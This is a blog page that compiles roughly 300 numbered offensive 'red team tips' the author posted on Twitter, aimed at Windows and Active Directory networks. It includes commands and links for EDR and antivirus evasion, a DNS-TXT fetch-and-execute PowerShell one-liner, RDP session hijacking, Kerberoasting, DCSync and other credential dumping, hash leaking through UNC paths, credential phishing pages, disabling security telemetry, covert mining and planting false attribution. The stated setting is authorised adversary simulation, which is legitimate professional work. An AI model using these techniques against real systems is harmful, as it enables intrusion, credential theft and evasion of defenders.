Red Team Tips
Overview
The following "red team tips" were posted by myself, Vincent Yiu (@vysecurity) over Twitter for about a year. This is still on-going but I took the opportunity to publish these in one solidified location on my blog. These will be updated ocassionally, but will not be bleeding edge updates. To receive my "red team tips", thoughts, and ideas behind Cyber attack simulations, follow my Twitter account @vysecurity.
For the full Tweet and thread context (a lot of my followers will comment and give their insights also), visit Twitter.

Red Team Tips
Red Tip #1: Profile your victim and use their user agent to mask your traffic. Alternatively use UA from software such as Outlook.
Red tip #2: If the enemy SOC is using proxy logs for analysis. Guess what? It wont log cookies or POST body content as can be sensitive.
Red tip #3: Taking a snapshot of AD can let you browse, explore and formulate future attacks if access is lost momentarily.
Red tip #4: consider using Office Template macros and replacing normal.dot for persistence in VDI environments.
Red tip #5: Do a DNS lookup for terms such as intranet, sharepoint, wiki, nessus, cyberark and many others to start intel on your target.
Red tip #6: Got access but need to find target? Use WMIC to query and dump the DNS Zone for a better view of assets - https://serverfault.com/questions/550385/export-all-hosts-from-dns-manager-using-powershell
Red tip #7: Whether PSEXEC, WMI, PS remoting or even the recent COM execution technique for lateral movement. Dont forget beloved RDP.
Red tip #8: Make sure theres trackers in your: emails, delivery server and payload execution. Any more? Comment to share!
Red tip #9: When PowerUp yields no results, dont forget SysInternalss AutoRuns. Often you can find unexpected surprises :)
Red tip #10: When using BloodHound, dont forget DA equivalents such as administrators and server operators etc too. These arent mapped.
Red tip #11: When navigating mature environments, a good old network diagram along with AD OUs can help to shed some light into next steps.
Red tip #12: Kerberoast them hashes, could be a fast route to domain administrator. PowerView: Invoke-Kerberoast -Format Hashcat
Red tip #13: Shared local administrator account hashes are great for lateral movement. Find machines based on the same build and attack away
Red tip #14: Got extra credentials? Use different sets for separate egress channels so that if one account is disabled all the rest are ok.
Red tip #15: You dont need payloads when you can phish credentials and login to Citrix, VPN, email with no 2FA. Check the perimeter.
Red tip #16: @dafthack MailSniper, @domchell LyncSniper can be a useful but noisy way to obtain AD credentials into an organisation.
Red tip #17: @_staaldraad Ruler tool can be used to obtain code execution on a system running Outlook if you can access exchange externally
Red tip #18: When tools like MailSniper dont work in custom environments, you still have good old @Burp_Suite to replicate the attacks
Red tip #19: Need a DC? echo %LOGONSERVER%. Need a list?
nltest /dclist, nslookup -q=srv _kerberos._tcp (domain suffix can autocomplete)Red tip #20: So apparently not many people use SSH for redirector setup. So try out
ssh c2 -R *:80:localhost:80. SSH config GatewayPorts yesRed tip #21: Found open user home shares that are accessible? See if you can drop into Startup Programs for lateral movement and privesc.
Red tip #22: Use VNC, microphone and webcam to perform surveillance. Netstat, tasklist can provide context into what the users doing.
Red tip #23: Stash payloads in
C:\$Recycle.BinRed tip #24: Compromise the SOC and Security teams to watch their progress and track their email alerts for sophisticated threats
Red tip #25: Probably dont do this on a red team, but spray for Welcome1, Password1 if youre struggling to move. But move off fast.
Red tip #26: Split your campaigns up so that they are independent. Fire tons at once for decoys and to burn out the defence.
Red tip #27: Need more credentials? Search for passwords on Sharepoint, and intranet.
Red tip #28: Look for asset registers to understand who owns what machine, make and model. Theres usually an asset label to host name too!
Red tip #29: Lateral movement: printers, open webroots, good old Tomcat, what are your quick wins?
Red tip #30: Get AD credentials? Turn up on site and you might be able to use them to login to Corporate Wifi :)
Red tip #31: Hunting e-mails and network shares for penetration testing reports can often yield good results.
Red tip #32: List mounts: net use, look for shared folders and drop a UNC icon LNK into it. Run Inveigh or Wireshark on host to grab hashes.
Red tip #33: Orgs are transitioning to cloud services such as AWS, Beanstalk, O365, Google Apps. 2FA is vital - password reset to compromise.
Red tip #34: OpSec. Set notifications to your phone for logins or intrusion attempts in any part of your attack infrastructure.
Red tip #35: FireEye sandbox flagging your payloads? Try anti sandbox techniques! If not, just use HTA to get into memory as it doesnt scan
Red tip #36: Dont forget the good old GPP passwords in SYSVOL. There may be cached GPP on the machine. Applying the patch isnt enough
Red tip #37: Use GenHTA to generate HTA files that use anti-sandboxing techniques. https://github.com/vysec/GenHTA
Red tip #38: Having trouble getting @armitagehacker CobaltStrikes evil.hta through defenses? https://github.com/vysec/MorphHTA
Red tip #39: If emails get bounced, read the email! Sometimes due to malware scanners, spam etc. Or you may even get an out of office reply.
Red tip #40: @0x09AL suggests looking for default credentials on printers and embedded devices. Move off initial foothold using this.
Red tip #41: @Oddvarmoe suggests using Alternate Data Streams if you need to put a file on disk. For example https://github.com/samratashok/nishang/blob/master/Backdoors/Invoke-ADSBackdoor.ps1
Red tip #42: Got OS level access to a middle tier?
Task list, netstat and wmic process list full | findstr /I commandline for more ideas!Red tip #43: So you know where the server application files are. Download the binaries and check out configuration files for conn. strings
Red tip #44: Run PEiD and other packer / technology checkers to find out the language and packer used on downloaded server binaries.
Red tip #45: Run strings on the application binary for potentially other cleartext sensitive strings! (Unicode mode too)
Red tip #46: On a VDI? Check out C:\ and other disks for potentially sensitive files other users may have saved there.
Red tip #47: Incase EDR are looking for
net users /domain try using net use /domRed tip #48: Is EDR potentially looking for
powershell -encodedcommand? Try powershell -ecRed tip #49: Attacking a heavy Macintosh or Linux estate? Send a Office Maldoc with OS checking logic to obtain footholds on either system
Red tip #50: Carbon Black checks for IEX and web req commands. Use powershell
powershell . (nslookup -q=txt calc.vincentyiu.co.uk )[-1]Red tip #51: Cant open C drive? Try
\\127.0.0.1\c$Red tip #52: SC doesnt take credentials. Cant use runas? Try
net use \\targetip\ipc$ password /u:domain\username then sc to psexecRed tip #53: When stick phishing for 2FA, consider using @mrgretzky Evilginx project which logs cookies. https://breakdev.org/evilginx-1-1-release/
Red tip #54: Hide from blue. Volume shadow copy then execute
\\?\GLOBALROOT\Device\HarddiskVolumeShadowColy1\malware.exe/dll then delete VSCRed tip #55: SMB hash leaking using a UNC path for image in page for drive by leak can give you credentials for less mature environments.
Red tip #56: Target victims using email authentication such as Microsoft Account on Windows 10? Hash leak exposes full email address!
Red tip #57: Working in teams yields better results; and best of all Makes Offensive operations more fun and keeps the adrenaline pumping
Red tip #58: Discuss business targets and objectives with your clients. This process should set non technical goals such as "ATM spit money"
Red tip #59: Checking whether a server or host is good for egress? Likely to go down?
systeminfo | findstr /i bootRed tip #60: Type
query user to see who else is connected to the machine.Red tip #61: Get a quick patch list using wmic qfe list brief. Cross ref KB to bulletins.
Red tip #62: Found a process of interest? Dont forget to obtain a MiniDump! Use Out-MiniDump https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
Red tip #63: Finally in CyberArk, click policies and see safes but no account? Go to accounts search and search for empty and safes show up
Red tip #64: Is WebDav allowed through the gateway? Using http mini redirector? Dont exfiltrate or send in files. WebDav is subject to DLP
Red tip #65: WebDav mini http redirector:
net use * http://totallylegit.com/share then start z:Red tip #66: Found potential MQ creds? ActiveMQ? Try out https://github.com/fmtn/a , works to query MQ endpoints that dont use self signed crt
Red tip #67: Use vssadmin to list and create volume shadow copies
Red tip #68: Pivoting into a secure zone that has no DNS or web gateway and need exfil? Netsh port forward pivot UDP 53 to DNS 53 then boom
Red tip #69: Have blue hidden the ways including winkey+R? Try shift and right click desktop and open command prompt
Red tip #70: Tracked down that putty session? Popped the box? Query user and check the victims logon time and idle times
Red tip #71: Hijack his Session using
sc create sesshijack binpath= "cmd.exe /k tscon <ID> /dest:<SESSIONNAME>" then use putty sessionRed tip #72: Most people understand email sec wrong. SPF does not mean not spoofable. SPF does nothing without DMARC.
Red tip #73: Weak DMARC on victim org domain? Spoof their own emails back into themselves! You even inherit their AD name and photo
Red tip #74: Got access to Microsoft OWA mailbox or O365? You can extract global catalog from contacts use @Burp_Suite and parse JSON object
Red tip #75: Write PHP delivery scripts that can mutate your payloads and add unique trackers per download. This tracks file being executed
Red tip #76: Simulating a criminal threat story with smash and grab agenda? Phish users and hot swap payload mid campaign to test formats
Red tip #77: RCE on a web application for less mature client?
nslookup -q=srv _ldap._tcpif its domain joined Invoke-KerberoastRed tip #78: @benichmt1 suggests looking for vmdk files across the network. You can use this to potentially access segregated networks
Red tip #79: Obfuscation is never bad, especially when its a button click. @danielhbohannon - https://github.com/danielbohannon
Red tip #80: Need to sweep for uptimes? Use
wmic /node:"<computer>" OS get LastBootUpTime in a for loopRed tip #81: Looking for systems running KeePass? Run a for loop on
wmic /node:"host" process list brief :) then look at RT #82Red tip #82: Found KeePass running in memory? Use @harmj0y KeeThief to extract password and dl the KDBX - https://github.com/HarmJ0y/KeeThief
Red tip #83: Struggling to find a working DB client? Live off the land and use your victims in an RDP session.
Red tip #84: Im sure everyone hates Oracle DB but no sweat, you can proxycap
sqldeveloper.exeRed tip #85: Check the users calendars before using persistence on their machine. They may be out of office and screw your master plans.
Red tip #86: Red team and attack simulation is not penetration testing. You shouldnt be really testing anything, but simply infiltrating.
Red tip #87: @Oddvarmoe uses .UDL files to quickly launch a MSSQL connection test to validate credentials! https://blogs.msdn.microsoft.com/farukcelik/2007/12/31/basics-first-udl-test/
Red tip #88: Dont forget Physical security! Whip up a PI with GSM and you can hack your way in by dropping the PI on network.
Red tip #89: regsvr32 SCT files are being detected as Squigglydoo. Looks for
script case sensitive and <registration case insensitive.Red tip #90: Cisco NGIPS is shit, when analysing traffic for havex it drops only
<havexhavex> but not <havexDATABLOBhavex>Red tip #91: Decoys can be as simple as burning egress by port scanning 1-1024 through IDS, or spamming dodgy emails at blocks of employees
Red tip #92: If WDigest is disabled, reenable it for cleartext credentials before new users login with @harmj0y https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Invoke-WdigestDowngrade.ps1
Red tip #93: Use Empyre to generate Macintosh and Linux payloads, modify it to contain code for Windows too! https://github.com/EmpireProject/EmPyre
Red tip #94: Client uses VDIs? Compromise underlying host and use Citrix Shadow Taskbar to spy on VDI sessions by selecting username
Red tip #95: @domchell recommends avoiding non persistent VDIs and persist on laptops. Query DC for live laptops.
Red tip #96: @lucasgates recommends using OLE objects containing VBS scripts instead of Macros as less suspicious. VBE will work too
Red tip #97: Use recent critical vulnerabilities such as CVE-2017-0199 HTA handler issue to simulate real threats. https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/
Red tip #98: @0x09AL suggests WordSteal. You can embed an IMAGE with UNC path to steal hashes from Word. Wont work if proxy. https://github.com/0x09AL/WordSteal
Red tip #99: If client is using Proxy with WebDav you can phish creds using @ryHanson Phishery https://github.com/ryhanson/phishery
Red tip #101: Set up red team infrastructure following @bluscreenofjeff guidelines! https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki

for opsec and not hosting C2 on the cloud
Red tip #103: Red team tips are useful but what makes the good red teamer is experience. Rack up that breadth of experience
Red tip #104: SessionGopher does a decent job at retrieving putty and RDP history - https://github.com/fireeye/SessionGopher
Red tip #105: If
ping 8.8.8.8 works, try ICMP tunnelling. More info at http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-5.html?m=1 from @fragsh3ll though only on immature networkRed tip #106: Wordlists? https://github.com/berzerk0/Probable-WordlistsI like to use the top probable 297 million list with Deadhobo rules
Red tip #107: More of a pentest tip but
nslookup google.com if it resolves you may have a DNS tunnelling problem.Red tip #108: Post exploitation Asset Discovery https://github.com/vysec/Invoke-DNSDiscovery looks for assets by name that might be good if youre low priv user.

Red tip #121: @zwned uses netsh packet tracing to sniff natively from victim host. Save capture and analyze offline!
Red tip #122: More decoy tips! Scan the external perimeter with tools like Nessus and OpenVAS. More traffic the better just to burn the blue
Red tip #123: Read Sean Metcalfa blog http://adsecurity.org/ When AD is used in many environments, it vital to at least know techniques
Red tip #124: Remember you can generate a golden ticket offline with knowledge of krbtgt and rest offline. Golden ticket gets silver from DC
Red tip #125: Got krbtgt of a child domain? Forest parent trusts you? Use the SID history attack in golden tickets to escalate to Ent Admin
Red tip #126: You dont necessarily need Domain Admin, if you have an account that has
Replicating directory changes rights, dcsync to pull hash using that account.Red tip #127: Planning to use
secretsdump.py? :) Try using the DC machine account to authenticate and dump instead of a user! Save hashRed tip #128: Use machine account hashes to generate silver tickets to a host for persistence. Save machine hash for DC incase krbtgt rotate
Red tip #129: Use PEAS to query shares and emails if using ActiveSync - https://github.com/mwrlabs/peas

Red tip #147: Test your phishing campaigns before sending!!!
Red tip #148: If youre sending into Exchange, make sure your SMTP server is not in SPAM list or black lists. Check junk mails mail headers
Red tip #149: Use Microsofts Message Header Analyzer to parse and review email headers from Outlook. https://testconnectivity.microsoft.com/MHA/Pages/mha.aspx

Red tip #178: @lefterispan wrote https://gist.github.com/leftp/a3330f13ac55f584239baa68a3bb88f2 … which sets up a proxy and forces an auth attempt to it to leak hash. Low priv leak.
Red tip #179: When creating phishing pages, try cloning and modifying parts of the client’s own webpages. For example of their VPN login!
Red tip #180: Regardless of whether there are known defences. Run your PS scripts through Obfuscation before loading into memory.
Red tip #181: Stuck trying to find those assets still? Try @424f424f Get-BrowserData https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Get-BrowserData.ps1

Red tip #202: When domain fronting, your calls hit the edge node, so every domain you use potentially hits a different a IP! ?
Red tip #203: If using @Cneelis StarFighter. Instead of using a staged web delivery, just stick while stageless payload as encoded block in!
Red tip #204: Printers are often good MAC addresses to use to beat NAC when physical red teaming as printers (mostly?) don’t support 802.1x
Red tip #205: If proxy is blocking SCT file, replace
<scriptlet> with <package> and add <component id="test"> around the rest. Thx @subTeeRed tip #206: CobaltStrike's @armitagehacker VNC not working? Here's a workaround using @artkond Invoke-VNC https://github.com/vysec/Aggressor-VYSEC/blob/master/vnc-psh.cna

Red tip #215: If you don’t know how LM and NTLM hashing works... go back to basics with https://blog.smallsec.ca/2016/11/07/windows-credentials/
Red tip #216: @424f424f just made me aware that FireEye can prevent runas from executing. Use unmanaged PS to spawn https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/RunAs.ps1
Red tip #217: S4U can be used to delegate across SPN. So if you have
msds-allowedtodelagateto HTTP you can exploit to obtain HOST and CIFSRed tip #218: You’re in a subnet where people RDP into but you can’t attack outwards? Set backdoor over tsclient on start keys. ?
Red tip #219: Unsure what the localised admin account might be called or need to copy and paste? Check out https://social.technet.microsoft.com/wiki/contents/articles/13813.localized-names-for-administrator-account-in-windows.aspx
Red tip #220: EDR monitoring
whoami? Use echo %userprofile% echo %username% Or replace echo with anything that reflects error: ie. setRed tip #221: Network segregation in play? Try
Get-NetSubnet, Get-NetSite in PowerView or browse in AD explorer. Can help find your way :)Red tip #222: If you want to simulate MBR activity like #Petya, check out https://github.com/PowerShellMafia/PowerSploit/blob/master/Mayhem/Mayhem.psm1
Red tip #223: Secure your beach heads against #Petya
WMIC /node:host process call create “echo > C:\windows\perfc”Red tip #224: Using Linux? Modify
/etc/dhcp/dhclient.conf and remove gethostname() for Opsec when you VPN or have to rock up on site.Red tip #225: Stuck in a heavily segregated situation on a server? Try RDPInception attack vector out https://www.mdsec.co.uk/2017/06/rdpinception/
Red tip #226: Reduce AV detection by using fake Microsoft certificate.
Red tip #227: Not using notifications yet for C2 events? For @armitagehacker's Cobalt Strike check out https://github.com/Und3rf10w/Aggressor-scripts

Can help you Bypass ScriptBlock Logging for added OpSec :)
Red tip #229: If you can't use Reg class in WMI to exfil in CLM, use @christruncer's OSRecoveryConfiguration! Examples in WMI Implant.
Red tip #230: Sandbox Analysis taking place? @arvanaghi has a centralised repo of anti sandbox techniques https://github.com/Arvanaghi/CheckPlease
Red tip #231: When facing Sandboxes, learn about filetypes and limitations. Dropped some examples at @Steel_Con and even more at @HITBGSEC!
Red tip #231: @ropnop wrote https://gist.github.com/ropnop/8711392d5e1d9a0ba533705f7f4f455f … to perform Kerberos TGT password bruteforce. Potentially stealthier than traditional SMB
Red tip #231: Admin to machine X? X has SPN set to delegate access? Bam! Hit machine X, you don’t need to crack no machine hash.
Red tip #232: Low privilege prevent ATP sending logs? Modify registry and serve WPAD locally to not send data to Msft Domains. @retBandit
Red tip #232: CACTUSTORCH introduces a new set of TTP in Payload Generation. https://github.com/mdsecactivebreach/CACTUSTORCH … Reduces signature footprints too!
Red tip #233: Looking for a decent domain but need to force categorisation? Check out https://github.com/mdsecactivebreach/Chameleon …! - abuses bugs in proxies ???
Red tip #233: Use WSUSPENDU to move laterally with fake updates even across airgapped environments.
Red tip #234: Instead of using
rundll32, try control @domchell and winword /L @subTee ? change indicators!Red tip #234: Typo squat domains or names containing the target company name might be monitored by registration watch lists.
Red tip #235: Doing many concurrent adversary simulation gigs? Automate the boring target collection process with https://www.mdsec.co.uk/2017/07/reconnaissance-using-linkedint/
Red tip #235: When deploying infrastructure, aim to have distinct sets that should not allow for correlation to each other.
Red tip #236: Blue looking for
net users /domain? Try out n^eT^1 us^er^s /doRed tip #236: In malware delivery, add user identifiable trackers in the execution container to ensure that further steps not failing.
Red tip #237: Use SLK files instead of XLS for Excel DDE code exec without protected view issues. Discovered by @enigma0x3
Red tip #237: Limiting allowed inbound IP ranges using iptables will restrict the ability for external IR teams to fetch payloads or stage
Red tip #238: Keying implants will reduce the likelihood of execution if any keyed item is incorrect. In long operations useful for stealth.
Red tip #238: ATP? sc stop diagtrack
Red tip #239: Over PTH? Use all AES RC4 NTLM.
Red tip #239: Finding zero day DLL hijacks with Rattler can be useful for stealthier long term persistence.
Red tip #240: Don’t use remote exploitation where possible as IDS will often flag on such attempts.
Red tip #241: Local exploitation may be flagged by endpoint security although less likely.
Red tip #242: Exploits such as MS17-010 can be routed internally for privilege escalation using portforwards. Lowers risk of IDS detections.
Red tip #243: ATA detects where tools such as UserHunter or BloodHound query AD. Instead, blacklist DCs. Use file shares / high pop servers.
Red tip #244: Use WMI or WinAPI calls to perform host recon when up against ATP.
Red tip #245: PowerShell Injection Vulnerability Hunter can be integrated into VSCode. Start writing secure offensive PowerShell? ?
Red tip #246: Be extremely cautious when generating tickets and remember to use AES hashes as default good practice where possible.
Red tip #247: Wiki, sharepoint, intranet, fileshares often have access control misconfigs. Almost as good as privilege escalation for info.
Red tip #248: @_staaldraad Phishing with OAuth http://staaldraad.github.io/pentest/phishing/2017/08/02/o356-phishing-with-oauth/
Red tip #249: Obfuscate your macro documents with @MrUn1k0d3r‘s https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator
Red tip #250: Need fast and accurate execution of BloodHound attack paths? try out https://github.com/vysec/ANGRYPUPPY … by @vysecurity and @001SPARTaN

Red tip #252: PyBrute for Recon (now reconned) by @OrOneEqualsOne https://github.com/OrOneEqualsOne/reconned … Good for enumeration of subdomains :)
Red tip #253: @MrUn1k0d3r releases UniByAv. XOR encrypts shellcode and then does Hyperion type brute force to break the key. ? FUD FUD FUD
Red tip: Use @armitagehacker's CobaltStrike? I'd be careful with NOD32 as it seems to be detecting ElevateKit's use of Powerpick & UacBypass
Red tip #254: Load arbitrary DLL from xwizard.exe by @Hexacorn http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/
Red tip #255: Use
rundll32.exe a lot? Try copy it to another directory to appear as diff name. http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/Red tip #256: Use Cloud Hosts / CDNs for redirectors. Unless the cloud provider sells you out, they have no way to find out where the c2 is.
Red tip #257: scans.io has some pretty good databases for a list of subdomains potentially for your target. Use the SQL AXFR one!
Red tip #258: If you're using a domain with the bank's name in it, be careful when registering SSL certs, may get flagged on watch list.
Red tip #259: Payloads served via email links and attachments being sandboxes? Try sending payloads via. direct Skype messages! ?
Red tip - sign up for @VirusTotal intelligence (easy if your company has others using it) - create YARA rules for your domains/tools/handle
Red Tip #260: Enumerate DevOps stack, WSUS, Endpoint security agents - use these to jump into segregated zones.
Red Tip #261: Once again. Never forget SharePoint, easy search functionality and often yields good results.
Red Tip #262: @_rastamouse shows you how to manually extract relevant RDP credentials from Cred Vault in his labs! https://rastamouse.me/2017/08/jumping-network-segregation-with-rdp/
Red Tip #263: Use
lsadump::dcsync /all /csv in Mimikatz to perform DRSUAPI grabbing of all hashes! Nice.Red Tip #264: SMB leaking fails if proper network segregation. Thank humans for laptops, work from home, cafes and free wifi! @haifeili
Red Tip #265: Domain Fronting Domain lists for popular CDNs can be found at: https://github.com/vysec/DomainFrontingLists … good for defenders too!
Red Tip #266: When performing physical social engineering, don’t forget to pretend to actually scan your ID when tailgating
Red Tip #267: Using HTAs? Follow @enigma0x3 to keep up-to-date with his discovery of monikers to spawn under different parent processes.
Red Tip #268: Review every column in the DB. Sometimes your objective is mislabeled or hiding in a big table. @malcomvetter
Red Tip #269: Remove all document information when creating your Macros. You can even edit the file to put in false attribution data.
Red Tip #270: Block common security vendors from grabbing your link payloads https://gist.github.com/curi0usJack/971385e8334e189d93a6cb4671238b10
red team tips! If you’re not writing your own tools per operation you probably aren’t red teaming correctly. Devops all the processes, discover newly exploitable OSINT sources, fingerprint at mass. Learn to script quickly! And.... happy holidays everyone!
Red tip #272: Aquatone is a DNS discovery tool https://github.com/michenriksen/aquatone…. Finds some interesting subdomains that I’ve not seen in some other sources. :D for ex one time it found me a VPN hostname format that I could then simply brute all combinations to discover more.
Red tip #273: 41GB Password dump is a good place to get an idea of username and email formats for target. Also if there are multiple formats in use.
Red tip #274: Password cracking is hard. I love
Top297Million-Probable, rockyou was decent for a quick smash, but lately found out about Keyboard Walks. Add keyboard walks with rules into your cracking routines to get more hashes cracked! https://github.com/hashcat/kwprocessor … Share your ideas!Red tip #275: Use Exchange timing attacks to narrow down a predicted list of emails down to an accurate list. Better than checking for bounces. @dafthack https://github.com/dafthack/MailSniper … implements this attack.
Red tip #276: Embed UNC paths into e-mails to leak a hash from the occasional work from home or travelling employee. Several mitigation’s for this such as setting no automatic authentication in inetcpl.cpl and use of the host based firewall.
Try using a generic email template.
Red tip #277: Got administrative rights across the domain but can’t hit certain network segments? Be sure to check out web apps, many places and web apps support “script execution” for administrators. Get a shell and try to hit the target segment from the web app.
Red tip #278: Using net users isn’t the only way to get users from AD. You don’t always need to do it from the endpoint. If EDR is an issue connect to web apps and use intranet, mail, dev stack and other tools to obtain user lists and groups.
Red tip #279: If you can’t beat EDR, go around it! @_RastaMouse
Red tip #280: GPO Misconfigurations are more common than you might think! Not talking about good old cpassword but also file permissions and editable scripts. Check out https://github.com/l0ss/Grouper by @mikeloss that automates this!
Red tip #281: @PyroTek3 has documented lots of AD security related information. Probably not a pure red tip but knowing whether and how the blue team or target might fix an issue definitely helps when trying to discover if they’re vulnerable as well as the reporting phase.
Red tip #282: Although I thought it was clear as Microsoft documented it but LAPS passwords are in clear text to users that have the right privileges in AD. Friendly reminder :) Either just browse LDAP or https://www.harmj0y.net/blog/powershell/running-laps-with-powerview/ … or https://blog.netspi.com/running-laps-around-cleartext-passwords/ … @harmj0y @kfosaaen
Red tip #283: Linked to #280, @harmj0y has useful references, information and explanations for discovering GPO permissions. https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/ I just used
Get-ACL on SYSVOL. Works for me.Red tip #284: Windows Credential Vault is often used to store saved passwords. @_rastamouse walks us through the decryption procedures required to make use of these credentials in his blog post at https://rastamouse.me/2017/08/jumping-network-segregation-with-rdp/
Red tip #285: Automatically switch to the most profitable coin to mine using @rvrsh3lls crypto currency mining assistance PowerShell scripts! https://github.com/rvrsh3ll/CrypoCurrencyPowerShell/blob/master/Mine-BestCoin.ps1
Red tip #286: Look for pentest and Security reports. Inboxes, file shares, intranets. Replicate vulnerabilities that other people find and report but haven’t been fixed. I’ve done this so many times because client decrypts a report and archives it in clear text.
Red tip #287: Defender anti ransomware in use? http://www.securitybydefault.com/2018/01/microsoft-anti-ransomware-bypass-not.html?m=1 shows us how we can use a COM object to bypass the anti-write.
Red tip #288: @3gstudent has enlightened us with a way to fully list all installed applications. https://github.com/3gstudent/3gstudent.github.io/blob/master/_posts/---2018-1-28-渗透基础——获得当前系统已安装的程序列表.md Some applications could not be enumerated using WMI
Red tip #289: Don’t use WMI to query
Win32_Product. Makes an event log entry for tons of MSIinstaller source. Holy crap, this is going on my black list.Red tip #290: @und3rf10w found that if you kill the threads in Windows Defender it won’t detect anything whilst the process still runs. He also did bits of testing against Carbon Black. Good read! Extension of Phant0m http://www.insomniacsecurity.com/2017/08/27/phant0m.html
Red tip #291: Need user IPs without noisy hunting scripts? Pull homeDirs from AD, pwn share, extract host from
%USERPROFILE%\Links\Desktop.lnkRed tip #292: 3snake lets you dump sshd and sudo related strings to obtain further credentials on rooted servers. https://github.com/blendin/3snake
Red tip #293: @evilcos has gotten ZoomEye back up! If you’ve not used ZoomEye I recommend trying it out. You might get differing results to existing tools! https://www.zoomeye.org/
Red tip #294: If you’re using cloud infrastructure for listening posts / redirectors it’s worth checking the IP against known black lists. Just so that it doesn’t end up tainting the reputation of associated domains!
Red tip #295: Most Windows deployment tutorials recommend hard-coding server or domain (admin) credentials in the PXE boot environment. Find the WDS server, send it a DHCP broadcast, and download the TFTP capsule. From @swiftonsecurity
Red tip #296: CACTUSTORCH weaponises James Forshaw’s Dotnet2js research. Allows shellcode execution in JS and HTA files as well as an alternate for Macros. This is being used in the wild and you should know about it! It’s proved useful in EDR cases too! https://github.com/mdsecactivebreach/CACTUSTORCH
Red tip #297: Domain Admins is not the only privileged group. Account Operators, Backup Operators, DNS Admins and more exist. Read up with @pyrotek3 https://adsecurity.org/?p=3700
Red tip #298: Backup images on disk with world readable access rights. I see this ALL THE TIME. Check out https://rastamouse.me/2018/02/vhd-to-da/ by @_rastamouse teaching us how to read VHD without transferring 50 GB.
Red tip #300: Renaming
Mimikatz to Mimidogz will bypass China common security products such as 360. :)Red tip #301: Your customers security is dependent on yours. With that requirement, I recommend writing a PowerShell script that makes a mobile push to your phone every time you unlock or startup your machine. Similar for SSH onto servers.
Red tip #302: MSSQL:
Domain user -> public role -> UNC leak -> relay or crack using eg. Inveigh -> suddenly born as a new man! https://github.com/NetSPI/PowerUpSQL other cool bits in here worth noting. I do OS admin to SYSADMIN a lot! https://github.com/NetSPI/PowerUpSQLRed tip #303: Look for open S3 buckets using https://github.com/sa7mon/S3Scanner I found 1400 buckets in about 1 hour. Good practice to make sure your client isn’t vulnerable to such attacks and if In red team you might be able to use it to serve payload stages or create waterhole attacks. In total I found over 6000.
Red tip #304: Phish creds on target sites. Forums and other areas let you post image links.
[img]url/cat.png[/img] for example. Use https://github.com/vysec/basicAuth , set PNG as a PHP execution extension. Embed that PNG and whenever someone visits the page it will prompt for credentials.Red tip #305: Why are privileged / admin user code execution vulnerabilities a thing in web app reports? Because if you’re privileged and can execute code on a web app, you can use it to Pivot into segments, extract secrets from the box, intercept comms, and all that good stuff.
Red tip #306:
"The supreme art of war is to subdue the enemy without fighting"
In my opinion: get to the goal without having to privesc and move laterally or compromise unnecessary assets or cause collateral damage and noise.
Red tip #307: Stuck against some EDR, or just want to add some complexity to your payload to better train the blue team? Check out SharpShooter by @domchell, a payload generation framework. https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/
Red tip #308: List RDP connections history with @3gstudent https://github.com/3gstudent/List-RDP-Connections-History … Useless in times where you don’t have a GUI. I’d combine it with cmdkey to see what’s in vault to figure out where the user may have access :) #redteam #pentest #security
Red tip #309: If DMARC policy is set to the root domain, but not sub domains, check if subdomain policy is applied. If not, spoof from arbitrary subdomains instead :)
Red tip #310: SOC is looking for low user/access count new domains that haven't been seen before and you can't domain front due to RFC2616 proxy? When doing the phish, add invisible image links to your C2 domain so that multiple users will have loaded the C2 domain before use. By the time the domain is used, it won't be a low number of users who have accessed the domain, it can be like 20. Then when the C2 goes in, it's no longer new and low user count. And just to be safe, I'd load unused domains too, like ones that don't belong to you. So that the SOC can go on a wild goose chase even if they think they know what you're doing. Even better, load a JS snippet that just keeps reloading resources from the websites so that there's more hit count per user :D
Red tip #311: Check out
goaccess -> apt-get install goaccess. Then goaccess -f /var/log/nginx/access.log Pretty cool! Now you can see who's hitting your redirector and what they're grabbing at all times in live view? Good for red team dash boards.Red tip #312: Sandboxes run Macros without prompting right? What if you wrote your Macro to check that it’s set to run without prompting and don’t run? :) only run if it’s on enable content setting... which is more likely to be observed in a real environment.
Red tip #313: Combine DomLink https://vincentyiu.co.uk/domlink-automating-domain-discovery/ … with
zgrep -f doms-filter.txt scans.gz | awk -F\"name\":\" '{print $2}' | awk -F"\",\"type '{print $1}' | tee -a doms-subs.txt to get a nice list of subdomains for every DomLink recovered associated domain? :)Red tip #314: Ton of injection techniques implemented here for reference. https://github.com/rootm0s/Injectors … Although mainly in cpp :)
Red tip #315: If you HAVE to spray for creds, use Kerberos spraying as pointed out by @ropnop that the level of auditing is far less by default and does not log invalid attempts. https://github.com/ropnop/kerberos_windows_scripts
Red tip #316: Not enough space for a full payload and want to avoid staging in an LNK format? Try @felixw3000 guide on embedding larger payloads into self extracting LNK files. https://uperesia.com/booby-trapped-shortcut …
Red tip #317: Stuck on finding benign or of phishing context for target? Try out https://www.goodemailcopy.com/ for some inspirations! https://greatemailcopy.com/ and https://reallygoodemails.com/ and https://codepen.io/reallygoodemails/
Red tip #318: Need a way to manage high-level and performed actions per day? @xmind might be a good tool to help you do that. You can arrange per day on major actions performed, you can also put notes into it. https://www.xmind.net/zen/
Red tip #319: Builtwith is pretty useful for linking domains using trackers. It also does Shared IP / infrastructure links and displays technologies used. https://builtwith.comthanks to @Jhaddix for pointing it out in his @Bugcrowd talk!
Red tip #320: List Chrome bookmarks with one line:
type "C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"
Thank @francisacer1 for the path to Bookmarks.bak :DRed tip #321: Want to find out if the current network has an external exposed interface? Eg. Wireless networks? An easy way is to visit https://ifconfig.co/port/80 on port 22,80,443 for a quick idea. You might find that your current network has another way in!
